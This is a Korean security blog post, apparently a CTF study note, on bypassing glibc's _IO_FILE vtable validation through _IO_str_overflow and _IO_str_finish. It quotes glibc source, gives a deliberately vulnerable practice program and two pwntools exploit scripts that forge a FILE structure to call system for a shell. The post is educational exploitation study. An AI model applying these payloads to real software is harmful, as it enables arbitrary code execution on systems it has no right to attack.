[pwnable] - glibc 2.24 이상 버전에서 _IO_FILE vtable check bypss
`glib 2.24` 이상 버전 부터 `_IO_validate_vtable()` 로 `vtable`을 검사한다. 이 때문에 `vtable` 값을 공격자가 원하는 함수의 주소로 overwrite 할 수가 없다.
하지만 `glibc 2.27` 버전까지 이를 bypass 할 수 있는 방법이 있는데, `_IO_str_overflow()` 함수와 `_IO_str_finish()` 함수를 이용한 bypass 공격 방법이 있다.
아래 설명하는 내용은 `glibc 2.29` 버전에 패치 되었다.
_IO_validate_vtable()
이 함수는 `glibc 2.24` 이상 버전에서 생긴 함수로, `vtable` 값를 검사한다.
검사 방법은, `_libc_IO_vtables` 의 섹션 크기를 계산한 후 파일 함수가 호출될때 참조하는 `vtable` 주소가 `__libc_IO_vtables` 영역에 존재하는지 검사한다. `__libc_IO_vtables` 영역에 존재하지 않으면 `_IO_vtable_check()` 함수가 실행 되게 된다. 아래 코드는 `_IO_validate_vtable()` 함수 코드이다.
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
// check
if (__glibc_unlikely (offset >= section_length))
_IO_vtable_check ();
return vtable;
}
즉, `_IO_validate_vtable()` 함수를 우회하기 위해서는 `__libc_IO_vtables` 섹션에 존재하는 함수들 중 공격에 유용한 함수를 사용해야 우회 할 수 있다.
필자가 공부한 bypass 공격 방법은 총 2가지 인데, `_IO_str_overflow()` 함수와 `_IO_str_finish()` 함수이다.
2가지 공격 방법을 설명하겠다.
_IO_str_overflow(): _IO_validate_vtable() byass
`_IO_file_jumps` 구조체 다음에 `_IO_str_jumps` 구조체가 있는데, 이 구조체 안에는 `_IO_str_overflow()` 함수와 `_IO_str_finish()` 함수가 존재한다. 이는 `__libc_IO_vtables` 영역에 속한다.
아래 코드는 `_IO_str_overflow()` 함수 코드의 일부분 이다.
아래 코드의 마지막 줄을 보면 `_s._allocate_buffer` 함수 포인터를 통해 `new_size` 인자를 가지고 함수를 호출하는 것을 볼 수 있다.
int _IO_str_overflow (_IO_FILE *fp, int c)
{
int flush_only = c == EOF;
_IO_size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
`_IO_str_overflow()` 함수에서 위 코드의 마지막 줄로 가기 위해서는 많은 조건들이 걸려 있다.
우선 `new_size` 값을 결정하는 코드는 다음과 같다.
`_IO_blen` 는 `_IO_buf_end` 와 `_IO_buf_base` 로 결정되는데, 이는 `_IO_FILE` 구조체의 맴버들이다.
`_IO_buf_base = 0` , `_IO_buf_end = (원하는 값 - 100) / 2` 로 하면 `new_size`를 원하는 값으로 조작이 가능하다.
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
`_s._allocate_buffer` 함수 포인터를 호출 하기 위해서는 아래 조건이 만족해야 한다.
`flush_only` 값은 0이므로, `pos >= _IO_blen(fp)` 이 조건만 통과하면 된다. `pos` 값은 `_IO_write_base = 0`, `_IO_write_ptr = 원하는 값` 으로 하면 조건을 통과 할 수 있다.
int flush_only = c == EOF;
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
{
아래 코드로 실습을 해보자.
아래 코드를 보면 `fp` 변수에 값을 쓸수 있고, `fclose()` 함수를 호출한다.
// gcc -o vtable_bypass vtable_bypass.c -no-pie
#include <stdio.h>
#include <unistd.h>
FILE *fp;
int main() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
fp = fopen("/dev/urandom","r");
printf("stdout: %p\n",stdout);
printf("Data: ");
read(0, fp, 300);
fclose(fp);
}
`libc_base` leak 하는 과정은 생략하고, `fp` 변수에 값을 overwrite 해야하는데, 위에서 설명한대로 `_IO_FILE` 구조체에 맞게 값을 overwrite 하면 된다. 정리하면 다음과 같다.
_IO_buf_base = 0
_IO_buf_end = (원하는 값 - 100) / 2
_IO_write_base = 0
_IO_write_ptr = 원하는 값
_s._allocate_buffer = vtable 다음 주소에 JMP 할 함수 주소 입력
필자는 `_IO_FILE.py` 모듈을 만들어 사용하고 있어 `payload` 는 다음과 같다.
`IO_FILE.py` 모듈은 git에 업로드 해놓았다. https://github.com/Universe1122/_IO_FILE.py
from pwn import *
import _IO_FILE
p = process("./test")
e = ELF("./test")
l = ELF("./libc6_2.27-3ubuntu1.2_amd64.so")
### 대충 libc_base 구하고 가젯 구하는 코드...
###
###
io_file = _IO_FILE._IO_file_plus()
payload = io_file.set_IO_str_overflow({"_lock" : p64(e.symbols["fp"] + 0x10),
"_IO_write_ptr" : p64(binsh),
"_IO_buf_end" : p64(binsh),
"vtable" : p64(_IO_str_overflow_addr - 0x10),
"jump": p64(system)
})
p.sendafter(":", payload)
p.interactive()
위 코드 `p64(_IO_str_overflow_addr - 0x10)` 에서 `-0x10` 을 한 이유는 필자가 작성한 이전 게시물을 보면 알 수 있듯이, 실습 코드에서 `fclose()` 함수를 호출 해서 `-0x10`을 한 것이다.
_IO_str_finish(): _IO_validate_vtable() byass
`_IO_str_finish()` 함수도 `__libc_IO_vtable` 영역에 포함되어 있어, `_IO_validate_vtable()` 함수를 우회하기에 조건이 맞다.
아래 코드는 `_IO_str_finish()` 함수의 코드이다.
void _IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;
_IO_default_finish (fp, 0);
}
코드는 몇 줄 안되는데, 4번째 줄에 함수 포인터를 이용해 함수를 호출하고 있다.
그 전에 3번째 줄에 조건문이 있는데, if 조건이 맞아야 함수 포인터를 실행 시킬 수 있다.
위 조건을 만족 시키기 위해서는 `_IO_FILE` 구조체의 맴버들의 값은 다음과 같아야 한다.
from pwn import *
import _IO_FILE
p = process("./test")
e = ELF("./test")
l = ELF("./libc6_2.27-3ubuntu1.2_amd64.so")
### 대충 libc_base 구하고 가젯 구하는 코드...
###
###
io_file = _IO_FILE._IO_file_plus()
payload = io_file.set_IO_str_finish({"_lock" : p64(e.symbols["fp"] + 0x10),
"_IO_write_end" : p64(binsh),
"_IO_buf_base" : p64(binsh),
"vtable" : p64(_IO_str_finish_addr - 0x10),
"jump" : p64(system)
})
p.sendafter(":", payload)
p.interactive()
`_IO_wstr_jump` 도 있는거 같은데, 이는 추후에 공부 한 뒤 작성 해야 겠다.
Reference
https://github.com/firmianay/CTF-All-In-One/blob/master/doc/4.13_io_file.md
'🔒Security' 카테고리의 다른 글
frida를 이용한 후킹 예제 (0) | 2021.07.30 |
---|---|
한글 2020 문서 암호화 과정 분석 (0) | 2021.07.23 |
[pwnable] - _IO_FILE structure and vtable overwrite (0) | 2020.10.02 |
python flask debugger pin, find and exploit (0) | 2020.08.29 |
python으로 사이트에 있는 url crawler tool 개발 (0) | 2020.03.30 |
댓글
이 글 공유하기
다른 글
-
frida를 이용한 후킹 예제
frida를 이용한 후킹 예제
2021.07.30 -
한글 2020 문서 암호화 과정 분석
한글 2020 문서 암호화 과정 분석
2021.07.23 -
[pwnable] - _IO_FILE structure and vtable overwrite
[pwnable] - _IO_FILE structure and vtable overwrite
2020.10.02 -
python flask debugger pin, find and exploit
python flask debugger pin, find and exploit
2020.08.29